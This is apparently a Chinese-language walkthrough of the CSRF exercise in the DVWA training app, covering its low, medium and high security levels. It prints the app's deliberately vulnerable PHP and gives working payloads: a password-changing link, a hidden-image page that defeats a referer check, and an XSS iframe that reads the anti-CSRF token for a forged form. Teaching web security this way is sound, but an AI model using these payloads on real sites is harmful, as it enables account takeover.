在2013的OWASP-TOP10排名第8
CSRF中文為跨站請求偽造,攻擊者通過一些手段(ex: xss, 社交工程...),騙使用者去瀏覽一個曾經認證過的網站並執行非預期的操作
大概流程
示意圖
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
看一下code,發現沒對任何東西做驗證
所以構造這個連結給別人點,就把別人密碼給改了XD
http://<url>:port/vulnerabilities/csrf/?
password_new=<your_want>&
password_conf=<your_want>&
Change=Change
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
server_name
與referer
的比對
eregi()
,只要A中含有B的字串,就回傳True
referer
中含有host_name
,即可跳轉// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
因為只檢查連結中是否含有server_name
,因此構造一個檔名是server_name
的html
server_name
<img src="http://<url>:<port>/vulnerabilities/csrf/?password_new=<your_want>&password_conf=<your_want>&Change=Change" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
http://<駭客伺服器位置>/<server_name>.html
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
多了驗證Token
這邊要利用XSS那關
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
<form id="myform" action="http://<server_name>/vulnerabilities/csrf/" method="GET">
<input type="hidden" value="bbbb" name="password_new"><br />
<input type="hidden" value="bbbb" name="password_conf"><br />
<br />
<span style= "display:block">
token:<input type='text' name='user_token' value='<token_you_steal>' />
<input type="submit" value="change password" name="Change" >
</span>
</form>
<input type="hidden" name="csrftoken" value="fkjsd;lfjasld">